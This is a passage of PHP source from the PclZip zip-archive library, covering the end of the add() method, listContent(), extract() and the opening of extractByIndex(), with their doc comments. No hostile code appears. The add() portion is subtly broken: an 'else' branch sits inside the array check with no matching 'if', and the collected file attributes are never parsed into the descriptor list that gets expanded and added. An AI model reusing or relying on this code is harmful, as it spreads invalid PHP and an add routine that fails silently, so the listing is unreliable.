                                                   PCLZIP_CB_POST_ADD => 'optional',
                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
                                                   PCLZIP_OPT_COMMENT => 'optional',
                                                   PCLZIP_OPT_ADD_COMMENT => 'optional',
                                                   PCLZIP_OPT_PREPEND_COMMENT => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
                                                   //, PCLZIP_OPT_CRYPT => 'optional'
												   ));
        if ($v_result != 1) {
          return 0;
        }
      }

// ----- Look for 2 args
      // Here we need to support the first historic synopsis of the
      // method.
      else {

// ----- Get the first argument
        $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0];

// ----- Look for the optional second argument
        if ($v_size == 2) {
          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
        }
        else if ($v_size > 2) {
          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

// ----- Return
          return 0;
        }
      }
    }

// ----- Look for default option values
    $this->privOptionDefaultThreshold($v_options);

// ----- Init
    $v_string_list = array();
    $v_att_list = array();
    $v_filedescr_list = array();
    $p_result_list = array();

// ----- Look if the $p_filelist is really an array
    if (is_array($p_filelist)) {

// ----- The list is a list of string names
      else {
        $v_string_list = $p_filelist;
      }
    }

// ----- Look if the $p_filelist is a string
    else if (is_string($p_filelist)) {
      // ----- Create a list from the string
      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
    }

// ----- Invalid variable type for $p_filelist
    else {
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist");
      return 0;
    }

// ----- Reformat the string list
    if (sizeof($v_string_list) != 0) {
      foreach ($v_string_list as $v_string) {
        $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
      }
    }

// ----- Expand the filelist (expand directories)
    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

// ----- Call the create fct
    $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options);
    if ($v_result != 1) {
      return 0;
    }

// ----- Return
    return $p_result_list;
  }
  // --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
  // Function : listContent()
  // Description :
  //   This public method, gives the list of the files and directories, with their
  //   properties.
  //   The properties of each entries in the list are (used also in other functions) :
  //     filename : Name of the file. For a create or add action it is the filename
  //                given by the user. For an extract function it is the filename
  //                of the extracted file.
  //     stored_filename : Name of the file / directory stored in the archive.
  //     size : Size of the stored file.
  //     compressed_size : Size of the file's data compressed in the archive
  //                       (without the headers overhead)
  //     mtime : Last known modification date of the file (UNIX timestamp)
  //     comment : Comment associated with the file
  //     folder : true | false
  //     index : index of the file in the archive
  //     status : status of the action (depending of the action) :
  //              Values are :
  //                ok : OK !
  //                filtered : the file / dir is not extracted (filtered by user)
  //                already_a_directory : the file can not be extracted because a
  //                                      directory with the same name already exists
  //                write_protected : the file can not be extracted because a file
  //                                  with the same name already exists and is
  //                                  write protected
  //                newer_exist : the file was not extracted because a newer file exists
  //                path_creation_fail : the file is not extracted because the folder
  //                                     does not exist and can not be created
  //                write_error : the file was not extracted because there was a
  //                              error while writing the file
  //                read_error : the file was not extracted because there was a error
  //                             while reading the file
  //                invalid_header : the file was not extracted because of an archive
  //                                 format error (bad file header)
  //   Note that each time a method can continue operating when there
  //   is an action error on a file, the error is only logged in the file status.
  // Return Values :
  //   0 on an unrecoverable failure,
  //   The list of the files in the archive.
  // --------------------------------------------------------------------------------
  function listContent()
  {
    $v_result=1;

// ----- Reset the error handler
    $this->privErrorReset();

// ----- Check archive
    if (!$this->privCheckFormat()) {
      return(0);
    }

// ----- Call the extracting fct
    $p_list = array();
    if (($v_result = $this->privList($p_list)) != 1)
    {
      unset($p_list);
      return(0);
    }

// ----- Return
    return $p_list;
  }
  // --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
  // Function :
  //   extract($p_path="./", $p_remove_path="")
  //   extract([$p_option, $p_option_value, ...])
  // Description :
  //   This method supports two synopsis. The first one is historical.
  //   This method extract all the files / directories from the archive to the
  //   folder indicated in $p_path.
  //   If you want to ignore the 'root' part of path of the memorized files
  //   you can indicate this in the optional $p_remove_path parameter.
  //   By default, if a newer file with the same name already exists, the
  //   file is not extracted.
  //
  //   If both PCLZIP_OPT_PATH and PCLZIP_OPT_ADD_PATH options
  //   are used, the path indicated in PCLZIP_OPT_ADD_PATH is append
  //   at the end of the path value of PCLZIP_OPT_PATH.
  // Parameters :
  //   $p_path : Path where the files and directories are to be extracted
  //   $p_remove_path : First part ('root' part) of the memorized path
  //                    (if any similar) to remove while extracting.
  // Options :
  //   PCLZIP_OPT_PATH :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_CB_PRE_EXTRACT :
  //   PCLZIP_CB_POST_EXTRACT :
  // Return Values :
  //   0 or a negative value on failure,
  //   The list of the extracted files, with a status of the action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  function extract()
  {
    $v_result=1;

// ----- Reset the error handler
    $this->privErrorReset();

// ----- Check archive
    if (!$this->privCheckFormat()) {
      return(0);
    }

// ----- Set default values
    $v_options = array();
//    $v_path = "./";
    $v_path = '';
    $v_remove_path = "";
    $v_remove_all_path = false;

// ----- Look for variable options arguments
    $v_size = func_num_args();

// ----- Default values for option
    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;

// ----- Look for arguments
    if ($v_size > 0) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

// ----- Look for first arg
      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

// ----- Parse the options
        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                            array (PCLZIP_OPT_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                   PCLZIP_OPT_ADD_PATH => 'optional',
                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',
                                                   PCLZIP_CB_POST_EXTRACT => 'optional',
                                                   PCLZIP_OPT_SET_CHMOD => 'optional',
                                                   PCLZIP_OPT_BY_NAME => 'optional',
                                                   PCLZIP_OPT_BY_EREG => 'optional',
                                                   PCLZIP_OPT_BY_PREG => 'optional',
                                                   PCLZIP_OPT_BY_INDEX => 'optional',
                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
                                                   PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional',
                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'
                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
												    ));
        if ($v_result != 1) {
          return 0;
        }

// ----- Set the arguments
        if (isset($v_options[PCLZIP_OPT_PATH])) {
          $v_path = $v_options[PCLZIP_OPT_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
        }
        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
          // ----- Check for '/' in last path char
          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
            $v_path .= '/';
          }
          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
        }
      }

// ----- Look for 2 args
      // Here we need to support the first historic synopsis of the
      // method.
      else {

// ----- Get the first argument
        $v_path = $v_arg_list[0];

// ----- Look for the optional second argument
        if ($v_size == 2) {
          $v_remove_path = $v_arg_list[1];
        }
        else if ($v_size > 2) {
          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

// ----- Return
          return 0;
        }
      }
    }

// ----- Look for default option values
    $this->privOptionDefaultThreshold($v_options);

// ----- Trace

// ----- Call the extracting fct
    $p_list = array();
    $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path,
	                                     $v_remove_all_path, $v_options);
    if ($v_result < 1) {
      unset($p_list);
      return(0);
    }

// ----- Return
    return $p_list;
  }
  // --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
  // Function :
  //   extractByIndex($p_index, $p_path="./", $p_remove_path="")
  //   extractByIndex($p_index, [$p_option, $p_option_value, ...])
  // Description :
  //   This method supports two synopsis. The first one is historical.
  //   This method is doing a partial extract of the archive.
  //   The extracted files or folders are identified by their index in the
  //   archive (from 0 to n).
  //   Note that if the index identify a folder, only the folder entry is
  //   extracted, not all the files included in the archive.
  // Parameters :
  //   $p_index : A single index (integer) or a string of indexes of files to
  //              extract. The form of the string is "0,4-6,8-12" with only numbers
  //              and '-' for range or ',' to separate ranges. No spaces or ';'
  //              are allowed.
  //   $p_path : Path where the files and directories are to be extracted
  //   $p_remove_path : First part ('root' part) of the memorized path
  //                    (if any similar) to remove while extracting.
  // Options :
  //   PCLZIP_OPT_PATH :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_OPT_EXTRACT_AS_STRING : The files are extracted as strings and
  //     not as files.
  //     The resulting content is in a new field 'content' in the file
  //     structure.
  //     This option must be used alone (any other options are ignored).
  //   PCLZIP_CB_PRE_EXTRACT :
  //   PCLZIP_CB_POST_EXTRACT :
  // Return Values :
  //   0 on failure,
  //   The list of the extracted files, with a status of the action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  //function extractByIndex($p_index, options...)
  function extractByIndex($p_index)
  {
    $v_result=1;